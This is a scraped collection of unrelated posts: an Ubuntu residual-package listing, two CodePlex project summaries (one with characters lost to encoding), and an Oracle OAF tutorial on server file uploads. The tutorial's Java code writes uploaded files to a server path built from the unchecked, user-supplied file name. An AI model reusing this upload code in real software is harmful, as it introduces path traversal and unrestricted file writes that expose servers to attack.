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• Residual packages Ubuntu 12.04

  - by hydroxide

  I have an Asus Q500A with win8 and Ubuntu 12.04 64 bit; Linux kernel 3.8.0-32-generic. I have been having residual package issues which have been giving me trouble trying to reconfigure xserver-xorg-lts-raring. I tried removing all residual packages from synaptic but the following were not removed. Output of sudo dpkg -l | grep "^rc" rc gstreamer0.10-plugins-good:i386 0.10.31-1ubuntu1.2 GStreamer plugins from the "good" set rc libaa1:i386 1.4p5-39ubuntu1 ASCII art library rc libaio1:i386 0.3.109-2ubuntu1 Linux kernel AIO access library - shared library rc libao4:i386 1.1.0-1ubuntu2 Cross Platform Audio Output Library rc libasn1-8-heimdal:i386 1.6~git20120311.dfsg.1-2ubuntu0.1 Heimdal Kerberos - ASN.1 library rc libasound2:i386 1.0.25-1ubuntu10.2 shared library for ALSA applications rc libasyncns0:i386 0.8-4 Asynchronous name service query library rc libatk1.0-0:i386 2.4.0-0ubuntu1 ATK accessibility toolkit rc libavahi-client3:i386 0.6.30-5ubuntu2 Avahi client library rc libavahi-common3:i386 0.6.30-5ubuntu2 Avahi common library rc libavc1394-0:i386 0.5.3-1ubuntu2 control IEEE 1394 audio/video devices rc libcaca0:i386 0.99.beta17-2.1ubuntu2 colour ASCII art library rc libcairo-gobject2:i386 1.10.2-6.1ubuntu3 The Cairo 2D vector graphics library (GObject library) rc libcairo2:i386 1.10.2-6.1ubuntu3 The Cairo 2D vector graphics library rc libcanberra-gtk0:i386 0.28-3ubuntu3 GTK+ helper for playing widget event sounds with libcanberra rc libcanberra0:i386 0.28-3ubuntu3 simple abstract interface for playing event sounds rc libcap2:i386 1:2.22-1ubuntu3 support for getting/setting POSIX.1e capabilities rc libcdparanoia0:i386 3.10.2+debian-10ubuntu1 audio extraction tool for sampling CDs (library) rc libcroco3:i386 0.6.5-1ubuntu0.1 Cascading Style Sheet (CSS) parsing and manipulation toolkit rc libcups2:i386 1.5.3-0ubuntu8 Common UNIX Printing System(tm) - Core library rc libcupsimage2:i386 1.5.3-0ubuntu8 Common UNIX Printing System(tm) - Raster image library rc libcurl3:i386 7.22.0-3ubuntu4.3 Multi-protocol file transfer library (OpenSSL) rc libdatrie1:i386 0.2.5-3 Double-array trie library rc libdbus-glib-1-2:i386 0.98-1ubuntu1.1 simple interprocess messaging system (GLib-based shared library) rc libdbusmenu-qt2:i386 0.9.2-0ubuntu1 Qt implementation of the DBusMenu protocol rc libdrm-nouveau2:i386 2.4.43-0ubuntu0.0.3 Userspace interface to nouveau-specific kernel DRM services -- runtime rc libdv4:i386 1.0.0-3ubuntu1 software library for DV format digital video (runtime lib) rc libesd0:i386 0.2.41-10build3 Enlightened Sound Daemon - Shared libraries rc libexif12:i386 0.6.20-2ubuntu0.1 library to parse EXIF files rc libexpat1:i386 2.0.1-7.2ubuntu1.1 XML parsing C library - runtime library rc libflac8:i386 1.2.1-6 Free Lossless Audio Codec - runtime C library rc libfontconfig1:i386 2.8.0-3ubuntu9.1 generic font configuration library - runtime rc libfreetype6:i386 2.4.8-1ubuntu2.1 FreeType 2 font engine, shared library files rc libgail18:i386 2.24.10-0ubuntu6 GNOME Accessibility Implementation Library -- shared libraries rc libgconf-2-4:i386 3.2.5-0ubuntu2 GNOME configuration database system (shared libraries) rc libgcrypt11:i386 1.5.0-3ubuntu0.2 LGPL Crypto library - runtime library rc libgd2-xpm:i386 2.0.36~rc1~dfsg-6ubuntu2 GD Graphics Library version 2 rc libgdbm3:i386 1.8.3-10 GNU dbm database routines (runtime version) rc libgdk-pixbuf2.0-0:i386 2.26.1-1 GDK Pixbuf library rc libgif4:i386 4.1.6-9ubuntu1 library for GIF images (library) rc libgl1-mesa-dri-lts-quantal:i386 9.0.3-0ubuntu0.4~precise1 free implementation of the OpenGL API -- DRI modules rc libgl1-mesa-dri-lts-raring:i386 9.1.4-0ubuntu0.1~precise2 free implementation of the OpenGL API -- DRI modules rc libgl1-mesa-glx:i386 8.0.4-0ubuntu0.6 free implementation of the OpenGL API -- GLX runtime rc libgl1-mesa-glx-lts-quantal:i386 9.0.3-0ubuntu0.4~precise1 free implementation of the OpenGL API -- GLX runtime rc libgl1-mesa-glx-lts-raring:i386 9.1.4-0ubuntu0.1~precise2 free implementation of the OpenGL API -- GLX runtime rc libglapi-mesa:i386 8.0.4-0ubuntu0.6 free implementation of the GL API -- shared library rc libglapi-mesa-lts-quantal:i386 9.0.3-0ubuntu0.4~precise1 free implementation of the GL API -- shared library rc libglapi-mesa-lts-raring:i386 9.1.4-0ubuntu0.1~precise2 free implementation of the GL API -- shared library rc libglu1-mesa:i386 8.0.4-0ubuntu0.6 Mesa OpenGL utility library (GLU) rc libgnome-keyring0:i386 3.2.2-2 GNOME keyring services library rc libgnutls26:i386 2.12.14-5ubuntu3.5 GNU TLS library - runtime library rc libgomp1:i386 4.6.3-1ubuntu5 GCC OpenMP (GOMP) support library rc libgpg-error0:i386 1.10-2ubuntu1 library for common error values and messages in GnuPG components rc libgphoto2-2:i386 2.4.13-1ubuntu1.2 gphoto2 digital camera library rc libgphoto2-port0:i386 2.4.13-1ubuntu1.2 gphoto2 digital camera port library rc libgssapi-krb5-2:i386 1.10+dfsg~beta1-2ubuntu0.3 MIT Kerberos runtime libraries - krb5 GSS-API Mechanism rc libgssapi3-heimdal:i386 1.6~git20120311.dfsg.1-2ubuntu0.1 Heimdal Kerberos - GSSAPI support library rc libgstreamer-plugins-base0.10-0:i386 0.10.36-1ubuntu0.1 GStreamer libraries from the "base" set rc libgstreamer0.10-0:i386 0.10.36-1ubuntu1 Core GStreamer libraries and elements rc libgtk2.0-0:i386 2.24.10-0ubuntu6 GTK+ graphical user interface library rc libgudev-1.0-0:i386 1:175-0ubuntu9.4 GObject-based wrapper library for libudev rc libhcrypto4-heimdal:i386 1.6~git20120311.dfsg.1-2ubuntu0.1 Heimdal Kerberos - crypto library rc libheimbase1-heimdal:i386 1.6~git20120311.dfsg.1-2ubuntu0.1 Heimdal Kerberos - Base library rc libheimntlm0-heimdal:i386 1.6~git20120311.dfsg.1-2ubuntu0.1 Heimdal Kerberos - NTLM support library rc libhx509-5-heimdal:i386 1.6~git20120311.dfsg.1-2ubuntu0.1 Heimdal Kerberos - X509 support library rc libibus-1.0-0:i386 1.4.1-3ubuntu1 Intelligent Input Bus - shared library rc libice6:i386 2:1.0.7-2build1 X11 Inter-Client Exchange library rc libidn11:i386 1.23-2 GNU Libidn library, implementation of IETF IDN specifications rc libiec61883-0:i386 1.2.0-0.1ubuntu1 an partial implementation of IEC 61883 rc libieee1284-3:i386 0.2.11-10build1 cross-platform library for parallel port access rc libjack-jackd2-0:i386 1.9.8~dfsg.1-1ubuntu2 JACK Audio Connection Kit (libraries) rc libjasper1:i386 1.900.1-13 JasPer JPEG-2000 runtime library rc libjpeg-turbo8:i386 1.1.90+svn733-0ubuntu4.2 IJG JPEG compliant runtime library. rc libjson0:i386 0.9-1ubuntu1 JSON manipulation library - shared library rc libk5crypto3:i386 1.10+dfsg~beta1-2ubuntu0.3 MIT Kerberos runtime libraries - Crypto Library rc libkeyutils1:i386 1.5.2-2 Linux Key Management Utilities (library) rc libkrb5-26-heimdal:i386 1.6~git20120311.dfsg.1-2ubuntu0.1 Heimdal Kerberos - libraries rc libkrb5-3:i386 1.10+dfsg~beta1-2ubuntu0.3 MIT Kerberos runtime libraries rc libkrb5support0:i386 1.10+dfsg~beta1-2ubuntu0.3 MIT Kerberos runtime libraries - Support library rc liblcms1:i386 1.19.dfsg-1ubuntu3 Little CMS color management library rc libldap-2.4-2:i386 2.4.28-1.1ubuntu4.4 OpenLDAP libraries rc libllvm3.0:i386 3.0-4ubuntu1 Low-Level Virtual Machine (LLVM), runtime library rc libllvm3.1:i386 3.1-2ubuntu1~12.04.1 Low-Level Virtual Machine (LLVM), runtime library rc libllvm3.2:i386 3.2-2ubuntu5~precise1 Low-Level Virtual Machine (LLVM), runtime library rc libltdl7:i386 2.4.2-1ubuntu1 A system independent dlopen wrapper for GNU libtool rc libmad0:i386 0.15.1b-7ubuntu1 MPEG audio decoder library rc libmikmod2:i386 3.1.12-2 Portable sound library rc libmng1:i386 1.0.10-3 Multiple-image Network Graphics library rc libmpg123-0:i386 1.12.1-3.2ubuntu1 MPEG layer 1/2/3 audio decoder -- runtime library rc libmysqlclient18:i386 5.5.32-0ubuntu0.12.04.1 MySQL database client library rc libnspr4:i386 4.9.5-0ubuntu0.12.04.1 NetScape Portable Runtime Library rc libnss3:i386 3.14.3-0ubuntu0.12.04.1 Network Security Service libraries rc libodbc1:i386 2.2.14p2-5ubuntu3 ODBC library for Unix rc libogg0:i386 1.2.2~dfsg-1ubuntu1 Ogg bitstream library rc libopenal1:i386 1:1.13-4ubuntu3 Software implementation of the OpenAL API (shared library) rc liborc-0.4-0:i386 1:0.4.16-1ubuntu2 Library of Optimized Inner Loops Runtime Compiler rc libosmesa6:i386 8.0.4-0ubuntu0.6 Mesa Off-screen rendering extension rc libp11-kit0:i386 0.12-2ubuntu1 Library for loading and coordinating access to PKCS#11 modules - runtime rc libpango1.0-0:i386 1.30.0-0ubuntu3.1 Layout and rendering of internationalized text rc libpixman-1-0:i386 0.24.4-1 pixel-manipulation library for X and cairo rc libproxy1:i386 0.4.7-0ubuntu4.1 automatic proxy configuration management library (shared) rc libpulse-mainloop-glib0:i386 1:1.1-0ubuntu15.4 PulseAudio client libraries (glib support) rc libpulse0:i386 1:1.1-0ubuntu15.4 PulseAudio client libraries rc libqt4-dbus:i386 4:4.8.1-0ubuntu4.4 Qt 4 D-Bus module rc libqt4-declarative:i386 4:4.8.1-0ubuntu4.4 Qt 4 Declarative module rc libqt4-designer:i386 4:4.8.1-0ubuntu4.4 Qt 4 designer module rc libqt4-network:i386 4:4.8.1-0ubuntu4.4 Qt 4 network module rc libqt4-opengl:i386 4:4.8.1-0ubuntu4.4 Qt 4 OpenGL module rc libqt4-qt3support:i386 4:4.8.1-0ubuntu4.4 Qt 3 compatibility library for Qt 4 rc libqt4-script:i386 4:4.8.1-0ubuntu4.4 Qt 4 script module rc libqt4-scripttools:i386 4:4.8.1-0ubuntu4.4 Qt 4 script tools module rc libqt4-sql:i386 4:4.8.1-0ubuntu4.4 Qt 4 SQL module rc libqt4-svg:i386 4:4.8.1-0ubuntu4.4 Qt 4 SVG module rc libqt4-test:i386 4:4.8.1-0ubuntu4.4 Qt 4 test module rc libqt4-xml:i386 4:4.8.1-0ubuntu4.4 Qt 4 XML module rc libqt4-xmlpatterns:i386 4:4.8.1-0ubuntu4.4 Qt 4 XML patterns module rc libqtcore4:i386 4:4.8.1-0ubuntu4.4 Qt 4 core module rc libqtgui4:i386 4:4.8.1-0ubuntu4.4 Qt 4 GUI module rc libqtwebkit4:i386 2.2.1-1ubuntu4 Web content engine library for Qt rc libraw1394-11:i386 2.0.7-1ubuntu1 library for direct access to IEEE 1394 bus (aka FireWire) rc libroken18-heimdal:i386 1.6~git20120311.dfsg.1-2ubuntu0.1 Heimdal Kerberos - roken support library rc librsvg2-2:i386 2.36.1-0ubuntu1 SAX-based renderer library for SVG files (runtime) rc librtmp0:i386 2.4~20110711.gitc28f1bab-1 toolkit for RTMP streams (shared library) rc libsamplerate0:i386 0.1.8-4 Audio sample rate conversion library rc libsane:i386 1.0.22-7ubuntu1 API library for scanners rc libsasl2-2:i386 2.1.25.dfsg1-3ubuntu0.1 Cyrus SASL - authentication abstraction library rc libsdl-image1.2:i386 1.2.10-3 image loading library for Simple DirectMedia Layer 1.2 rc libsdl-mixer1.2:i386 1.2.11-7 Mixer library for Simple DirectMedia Layer 1.2, libraries rc libsdl-net1.2:i386 1.2.7-5 Network library for Simple DirectMedia Layer 1.2, libraries rc libsdl-ttf2.0-0:i386 2.0.9-1.1ubuntu1 ttf library for Simple DirectMedia Layer with FreeType 2 support rc libsdl1.2debian:i386 1.2.14-6.4ubuntu3 Simple DirectMedia Layer rc libshout3:i386 2.2.2-7ubuntu1 MP3/Ogg Vorbis broadcast streaming library rc libsm6:i386 2:1.2.0-2build1 X11 Session Management library rc libsndfile1:i386 1.0.25-4 Library for reading/writing audio files rc libsoup-gnome2.4-1:i386 2.38.1-1 HTTP library implementation in C -- GNOME support library rc libsoup2.4-1:i386 2.38.1-1 HTTP library implementation in C -- Shared library rc libspeex1:i386 1.2~rc1-3ubuntu2 The Speex codec runtime library rc libspeexdsp1:i386 1.2~rc1-3ubuntu2 The Speex extended runtime library rc libsqlite3-0:i386 3.7.9-2ubuntu1.1 SQLite 3 shared library rc libssl0.9.8:i386 0.9.8o-7ubuntu3.1 SSL shared libraries rc libstdc++5:i386 1:3.3.6-25ubuntu1 The GNU Standard C++ Library v3 rc libstdc++6:i386 4.6.3-1ubuntu5 GNU Standard C++ Library v3 rc libtag1-vanilla:i386 1.7-1ubuntu5 audio meta-data library - vanilla flavour rc libtasn1-3:i386 2.10-1ubuntu1.1 Manage ASN.1 structures (runtime) rc libtdb1:i386 1.2.9-4 Trivial Database - shared library rc libthai0:i386 0.1.16-3 Thai language support library rc libtheora0:i386 1.1.1+dfsg.1-3ubuntu2 The Theora Video Compression Codec rc libtiff4:i386 3.9.5-2ubuntu1.5 Tag Image File Format (TIFF) library rc libtxc-dxtn-s2tc0:i386 0~git20110809-2.1 Texture compression library for Mesa rc libunistring0:i386 0.9.3-5 Unicode string library for C rc libusb-0.1-4:i386 2:0.1.12-20 userspace USB programming library rc libv4l-0:i386 0.8.6-1ubuntu2 Collection of video4linux support libraries rc libv4lconvert0:i386 0.8.6-1ubuntu2 Video4linux frame format conversion library rc libvisual-0.4-0:i386 0.4.0-4 Audio visualization framework rc libvorbis0a:i386 1.3.2-1ubuntu3 The Vorbis General Audio Compression Codec (Decoder library) rc libvorbisenc2:i386 1.3.2-1ubuntu3 The Vorbis General Audio Compression Codec (Encoder library) rc libvorbisfile3:i386 1.3.2-1ubuntu3 The Vorbis General Audio Compression Codec (High Level API) rc libwavpack1:i386 4.60.1-2 audio codec (lossy and lossless) - library rc libwind0-heimdal:i386 1.6~git20120311.dfsg.1-2ubuntu0.1 Heimdal Kerberos - stringprep implementation rc libwrap0:i386 7.6.q-21 Wietse Venema's TCP wrappers library rc libx11-6:i386 2:1.4.99.1-0ubuntu2.2 X11 client-side library rc libx11-xcb1:i386 2:1.4.99.1-0ubuntu2.2 Xlib/XCB interface library rc libxau6:i386 1:1.0.6-4 X11 authorisation library rc libxaw7:i386 2:1.0.9-3ubuntu1 X11 Athena Widget library rc libxcb-dri2-0:i386 1.8.1-1ubuntu0.2 X C Binding, dri2 extension rc libxcb-glx0:i386 1.8.1-1ubuntu0.2 X C Binding, glx extension rc libxcb-render0:i386 1.8.1-1ubuntu0.2 X C Binding, render extension rc libxcb-shm0:i386 1.8.1-1ubuntu0.2 X C Binding, shm extension rc libxcb1:i386 1.8.1-1ubuntu0.2 X C Binding rc libxcomposite1:i386 1:0.4.3-2build1 X11 Composite extension library rc libxcursor1:i386 1:1.1.12-1ubuntu0.1 X cursor management library rc libxdamage1:i386 1:1.1.3-2build1 X11 damaged region extension library rc libxdmcp6:i386 1:1.1.0-4 X11 Display Manager Control Protocol library rc libxext6:i386 2:1.3.0-3ubuntu0.1 X11 miscellaneous extension library rc libxfixes3:i386 1:5.0-4ubuntu4.1 X11 miscellaneous 'fixes' extension library rc libxft2:i386 2.2.0-3ubuntu2 FreeType-based font drawing library for X rc libxi6:i386 2:1.6.0-0ubuntu2.1 X11 Input extension library rc libxinerama1:i386 2:1.1.1-3ubuntu0.1 X11 Xinerama extension library rc libxml2:i386 2.7.8.dfsg-5.1ubuntu4.6 GNOME XML library rc libxmu6:i386 2:1.1.0-3 X11 miscellaneous utility library rc libxp6:i386 1:1.0.1-2ubuntu0.12.04.1 X Printing Extension (Xprint) client library rc libxpm4:i386 1:3.5.9-4 X11 pixmap library rc libxrandr2:i386 2:1.3.2-2ubuntu0.2 X11 RandR extension library rc libxrender1:i386 1:0.9.6-2ubuntu0.1 X Rendering Extension client library rc libxslt1.1:i386 1.1.26-8ubuntu1.3 XSLT 1.0 processing library - runtime library rc libxss1:i386 1:1.2.1-2 X11 Screen Saver extension library rc libxt6:i386 1:1.1.1-2ubuntu0.1 X11 toolkit intrinsics library rc libxtst6:i386 2:1.2.0-4ubuntu0.1 X11 Testing -- Record extension library rc libxv1:i386 2:1.0.6-2ubuntu0.1 X11 Video extension library rc libxxf86vm1:i386 1:1.1.1-2ubuntu0.1 X11 XFree86 video mode extension library rc odbcinst1debian2:i386 2.2.14p2-5ubuntu3 Support library for accessing odbc ini files rc skype-bin:i386 4.2.0.11-0ubuntu0.12.04.2 client for Skype VOIP and instant messaging service - binary files rc sni-qt:i386 0.2.5-0ubuntu3 indicator support for Qt rc wine-compholio:i386 1.7.4~ubuntu12.04.1 The Compholio Edition is a special build of the popular Wine software rc xaw3dg:i386 1.5+E-18.1ubuntu1 Xaw3d widget set

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• CodePlex Daily Summary for Wednesday, April 28, 2010

  CodePlex Daily Summary for Wednesday, April 28, 2010New ProjectsArgument Handler: This project aims to help the handling of arguments in command line programs.Bing for BlackBerry: Bing for BlackBerry is a SDK that allows intergration and searching Bing in there applications.C4F - GeoWallpaper: This is an extension for my MEF Utility Runner to change desktop wallpaper based on Flickr images geotagged with your current location. Uses Windo...CRM 4.0 Contract Utilities: List of Contract Utilities (i.e. custom workflow actions) 1. Change contract status from Active to Draft 2. Copy Contract (with custom start/end da...ELIS: Multimedia player based on WPFEnterprise Administration with Powershell: The EnterpriseShell aims to produce a powershell code library that will enable Enterprise Administrators to quickly reconfigure their IT infrastruc...ExposedObject: ExposedObject uses dynamic typing in C# to provide convenient access to private fields and methods from code outside of the class – for testing, ex...F# Project Extender: Installing F# Project Extender provides tools to better organize files in F# projects by allowing project subdirectories and separating file manage...Hack Framework: Code bundle with the internets brains connected into one piece of .Net frameworkKrypton XNA: Krypton allows users of the XNA framework to easily add 2D lighting to their games. Krypton is fast, as it utilizes the GPU and uses a vertex shade...Net Darts: Provides an easy way to calculate the score left to throw. Users can easily click on the score.PlayerSharp: PlayerSharp is a library written entirely in C# that allows you to communicate your C# programs with the Player Server by Brian Gerkey et al (http:...Ratpoid: RatpoidRedeemer Tower Defense: 2d tower defense game. It is developed with XNA technology, using .Net Visual Studio 2008 or .Net Visual Studio 2010SelfService: Simple self service projectSharePoint Exchange Calendar: a jQuery based calendar web part for displaying Exchange calendars within SharePoint.SharpORM, easy use Object & Relation Database mapping Library: AIM on: Object easy storeage, Create,Retrieve,Update,Delete User .NET Attribute marking or Xml Standalone Mapping eg. public class Somethin...Silverlight Calculator: Silverlight Calculator makes it easier for people to do simple math calculations. It's developed in C# Silverlight 2. Silverlight Calendar: Silverlight Calendar makes it easier for people to view a calendar in silverlight way. It's developed in C# Silverlight 2.SPSocialUtil for SharePoint 2010: SPSocialUtil makes it easier for delevoper to use Social Tag, Tag Cloud, BookMark, Colleague in SharePoint 2010. It's developed in C# with Visual S...Sublight: Sublight open source project is a simple metadata utility for view models in ASP.NET MVC 2Veda Auto Dealer Report: Create work item tasks for the Veda Auto Dealer ReportWPF Meta-Effects: WPF Meta-Effects makes it easier for shader effect developpers to develop and maintain shader code. You'll no longer have to write any HLSL, instea...New ReleasesBing for BlackBerry: Bing SDK for BlackBerry: There are four downloadable components: The library, in source code format, in its latest stable release. A "getting started" doc that will gui...DotNetNuke® Store: 02.01.34: What's New in this release? Bugs corrected: - Fixed a bug related to encryption cookie when DNN is used in Medium Trust environment. New Features:...Encrypted Notes: Encrypted Notes 1.6.4: This is the latest version of Encrypted Notes, with general improvements and bug fixes for 'Batch Encryption'. It has an installer that will create...EPiServer CMS Page Type Builder: Page Type Builder 1.2 Beta 2: For more information about this release check out this blog post.ExposedObject: ExposedObject 0.1: This is an initial release of the ExposedObject library that lets you conveniently call private methods and access private fields of a class.Extended SSIS Package Execute: Ver 0.01: Version 0.01 - 2008 Compatible OnlyF# Project Extender: V0.9.0.0 (VS2008): F# project extender for Visual Studio 2008. Initial ReleaseFileExplorer.NET: FileExplorer.NET 1.0: This is the first release of this project. ---------------------------------------------------------------- Please report any bugs that you may en...Fluent ViewModel Configuration for WPF (MVVM): FluentViewModel Alpha3: Overhaul of the configuration system Separation of the configuratior and service locator Added support for general services - using Castle Wind...Home Access Plus+: v4.1: v4.1 Change Log: booking system fixes/additions Uploader fixes Added excluded extensions in my computer Updated Config Tool Fixed an issue ...ILMerge-GUI, merge .NET assemblies: 1.9.0 BETA: Compatible with .NET 4.0 This is the first version of ILMerge-GUI working with .NET 4.0. The final version will be 2.0.0, to be released by mid May...iTuner - The iTunes Companion: iTuner 1.2.3769 Beta 3c: Given the high download rate and awesome feedback for Beta 3b, I decided to release this interim build with the following enhancements: Added new h...Jet Login Tool (JetLoginTool): In then Out - 1.5.3770.18310: Fixed: Will only attempt to logout if currently logged in Fixed: UI no longer blocks while waiting for log outKooboo CMS: Kooboo CMS 2.1.1.0: New features Add new API RssUrl to generate RSS link, this is an extension to UrlHelper. Add possibility to index and search attachment content ...Krypton XNA: Krypton v1.0: First release of Krypton. I've tried to throw together a small testbed, but just getting tortoisehq to work the first time around was a huge pain. ...LinkedIn® for Windows Mobile: LinkedIn for Windows Mobile v0.5: Added missing files to installer packageNito.KitchenSink: Version 7: New features (since Version 5) Fixed null reference bug in ExceptionExtensions. Added DynamicStaticTypeMembers and RefOutArg for dynamically (lat...Numina Application/Security Framework: Numina.Framework Core 51341: Added multiple methods to API and classic ASP libraryOpenIdPortableArea: 0.1.0.3 OpenIdPortableArea: OpenIdPortableArea.Release: DotNetOpenAuth.dll DotNetOpenAuth.xml MvcContrib.dll MvcContrib.xml OpenIdPortableArea.dll OpenIdPortableAre...Play-kanaler (Windows Media Center Plug-in): Playkanaler 1.0.5 Alpha: Playkanaler version 1.0.5 Alpha Skärmsläckar-fix. helt otestad!PokeIn Comet Ajax Library: PokeIn v0.81 Library with ServerWatch Sample: Release Notes Functionality improved. Possible bugs fixed. Realtime server time sample addedSharpORM, easy use Object & Relation Database mapping Library: Vbyte.SharpOrm 1.0.2010.427: Vbyte.SharpOrm for Access & SQLServer.7z 1.0 alpha release for Access oledb provider and Sql Server 2000+.Silverlight 4.0 Popup Menu: Context Menu for Silverlight 4.0: - Markup items can now be added seperately using the AddItem method. Alternatingly all items can be placed inside a listbox which can then be added...Silverlight Calculator: SilverCalculator: SilverCalculator version 1.0 Live demoSilverlight Calendar: Silverlight Calendar: Silverlight Calendar version 1.0 Live demoSpeakup Desktop Frontend: Speakup Desktop Frontend v0.2a: This is new version of Speakup Desktop Frontend. It requires .net 4.0 to be installed before using it. In this release next changes were done: - ...TwitterVB - A .NET Twitter Library: Twitter-2.5: Adds xAuth support and increases TwitterLocation information (html help file is not up to date, will correct in a later version.)VCC: Latest build, v2.1.30427.5: Automatic drop of latest buildXP-More: 1.1: Added a parent VHD edit feature. Moved VM settings from double-click to a button, and rearranged the buttons' layout.Yasbg: It's Static 1.0: Many changes have been made from the previous release. Read the README! This release adds settings tab and fixes bugs. To run, first unzip, then...Most Popular ProjectsRawrWBFS Managerpatterns & practices – Enterprise LibraryAJAX Control ToolkitSilverlight ToolkitMicrosoft SQL Server Product Samples: DatabaseWindows Presentation Foundation (WPF)ASP.NETMicrosoft SQL Server Community & SamplesPHPExcelMost Active ProjectsRawrpatterns & practices – Enterprise LibraryGMap.NET - Great Maps for Windows Forms & PresentationNB_Store - Free DotNetNuke Ecommerce Catalog ModuleIonics Isapi Rewrite FilterParticle Plot PivotFarseer Physics EngineBlogEngine.NETDotNetZip LibrarySqlDiffFramework-A Visual Differencing Engine for Dissimilar Data Sources

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• OAF Page to Upload Files into Server from local Machine

  - by PRajkumar

  1. Create a New Workspace and Project File > New > General > Workspace Configured for Oracle Applications File Name – PrajkumarFileUploadDemo   Automatically a new OA Project will also be created   Project Name -- FileUploadDemo Default Package -- prajkumar.oracle.apps.fnd.fileuploaddemo   2. Create a New Application Module (AM) Right Click on FileUploadDemo > New > ADF Business Components > Application Module Name -- FileUploadAM Package -- prajkumar.oracle.apps.fnd.fileuploaddemo.server Check Application Module Class: FileUploadAMImpl Generate JavaFile(s)   3. Create a New Page Right click on FileUploadDemo > New > Web Tier > OA Components > Page Name -- FileUploadPG Package -- prajkumar.oracle.apps.fnd.fileuploaddemo.webui   4. Select the FileUploadPG and go to the strcuture pane where a default region has been created   5. Select region1 and set the following properties --     Attribute Property ID PageLayoutRN AM Definition prajkumar.oracle.apps.fnd.fileuploaddemo.server.FileUploadAM Window Title Uploading File into Server from Local Machine Demo Window Title Uploading File into Server from Local Machine Demo     6. Create Stack Layout Region Under Page Layout Region Right click PageLayoutRN > New > Region   Attribute Property ID MainRN AM Definition messageComponentLayout   7. Create a New Item messageFileUpload Bean under MainRN Right click on MainRN > New > messageFileUpload Set Following Properties for New Item --   Attribute Property ID MessageFileUpload Item Style messageFileUpload   8. Create a New Item Submit Button Bean under MainRN Right click on MainRN > New > messageLayout Set Following Properties for messageLayout --   Attribute Property ID ButtonLayout   Right Click on ButtonLayout > New > Item   Attribute Property ID Submit Item Style submitButton Attribute Set /oracle/apps/fnd/attributesets/Buttons/Go   9. Create Controller for page FileUploadPG Right Click on PageLayoutRN > Set New Controller Package Name: prajkumar.oracle.apps.fnd.fileuploaddemo.webui Class Name: FileUploadCO   Write Following Code in FileUploadCO processFormRequest   import oracle.cabo.ui.data.DataObject; import java.io.FileOutputStream; import java.io.InputStream; import oracle.jbo.domain.BlobDomain; import java.io.File; import oracle.apps.fnd.framework.OAException; public void processFormRequest(OAPageContext pageContext, OAWebBean webBean) { super.processFormRequest(pageContext, webBean);    if(pageContext.getParameter("Submit")!=null)  {   upLoadFile(pageContext,webBean);      } }   -- Use Following Code if want to Upload Files in Local Machine -- ----------------------------------------------------------------------------------- public void upLoadFile(OAPageContext pageContext,OAWebBean webBean) { String filePath = "D:\\PRajkumar";  System.out.println("Default File Path---->"+filePath);  String fileUrl = null;  try  {   DataObject fileUploadData =  pageContext.getNamedDataObject("MessageFileUpload"); //FileUploading is my MessageFileUpload Bean Id   if(fileUploadData!=null)   {    String uFileName = (String)fileUploadData.selectValue(null, "UPLOAD_FILE_NAME");  // include this line    String contentType = (String) fileUploadData.selectValue(null, "UPLOAD_FILE_MIME_TYPE");  // For Mime Type    System.out.println("User File Name---->"+uFileName);    FileOutputStream output = null;    InputStream input = null;    BlobDomain uploadedByteStream = (BlobDomain)fileUploadData.selectValue(null, uFileName);    System.out.println("uploadedByteStream---->"+uploadedByteStream);                               File file = new File("D:\\PRajkumar", uFileName);    System.out.println("File output---->"+file);    output = new FileOutputStream(file);    System.out.println("output----->"+output);    input = uploadedByteStream.getInputStream();    System.out.println("input---->"+input);    byte abyte0[] = new byte[0x19000];    int i;         while((i = input.read(abyte0)) > 0)    output.write(abyte0, 0, i);    output.close();    input.close();   }  }  catch(Exception ex)  {   throw new OAException(ex.getMessage(), OAException.ERROR);  }     }   -- Use Following Code if want to Upload File into Server -- ------------------------------------------------------------------------- public void upLoadFile(OAPageContext pageContext,OAWebBean webBean) { String filePath = "/u01/app/apnac03r12/PRajkumar/";  System.out.println("Default File Path---->"+filePath);  String fileUrl = null;  try  {   DataObject fileUploadData =  pageContext.getNamedDataObject("MessageFileUpload");  //FileUploading is my MessageFileUpload Bean Id     if(fileUploadData!=null)   {    String uFileName = (String)fileUploadData.selectValue(null, "UPLOAD_FILE_NAME");   // include this line    String contentType = (String) fileUploadData.selectValue(null, "UPLOAD_FILE_MIME_TYPE");   // For Mime Type    System.out.println("User File Name---->"+uFileName);    FileOutputStream output = null;    InputStream input = null;    BlobDomain uploadedByteStream = (BlobDomain)fileUploadData.selectValue(null, uFileName);    System.out.println("uploadedByteStream---->"+uploadedByteStream);                               File file = new File("/u01/app/apnac03r12/PRajkumar", uFileName);    System.out.println("File output---->"+file);    output = new FileOutputStream(file);    System.out.println("output----->"+output);    input = uploadedByteStream.getInputStream();    System.out.println("input---->"+input);    byte abyte0[] = new byte[0x19000];    int i;         while((i = input.read(abyte0)) > 0)    output.write(abyte0, 0, i);    output.close();    input.close();   }  }  catch(Exception ex)  {   throw new OAException(ex.getMessage(), OAException.ERROR);  }     }   10. Congratulation you have successfully finished. Run Your page and Test Your Work           -- Used Code to Upload files into Server   -- Before Upload files into Server     -- After Upload files into Server       -- Used Code to Upload files into Local Machine   -- Before Upload files into Local Machine       -- After Upload files into Local Machine

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• CodePlex Daily Summary for Saturday, May 12, 2012

  CodePlex Daily Summary for Saturday, May 12, 2012Popular ReleasesKanboxAPI: KanboxAPI beta: ????? Token Info List DownloadMedia Companion: Media Companion 3.502b: It has been a slow week, but this release addresses a couple of recent bugs: Movies Multi-part Movies - Existing .nfo files that differed in name from the first part, were missed and scraped again. Trailers - MC attempted to scrape info for existing trailers. TV Shows Show Scraping - shows available only in the non-default language would not show up in the main browser. The correct language can now be selected using the TV Show Selector for a single show. General Will no longer prompt for ...NewLife XCode ??????: XCode v8.5.2012.0508、XCoder v4.7.2012.0320: X????： 1，????For .Net 4.0?? XCoder????： 1，???????，????X????，?????? XCode????： 1，Insert/Update/Delete???????????????，???SQL???? 2，IEntityOperate?????? 3，????????IEntityTree 4，????????????????? 5，?????????? 6，??????????????dycom: v1.0: DYCom ????????：Silverlight, Windows phone 7.5.NETMF_for_STM32: Beta 1 Release: First public beta release.Google Book Downloader: Google Books Downloader Lite 1.0: Google Books Downloader Lite 1.0Python Tools for Visual Studio: 1.5 Alpha: We’re pleased to announce the release of Python Tools for Visual Studio 1.5 Alpha. Python Tools for Visual Studio (PTVS) is an open-source plug-in for Visual Studio which supports programming with the Python language. PTVS supports a broad range of features including: • Supports Cpython, IronPython, Jython and Pypy • Python editor with advanced member, signature intellisense and refactoring • Code navigation: “Find all refs”, goto definition, and object browser • Local and 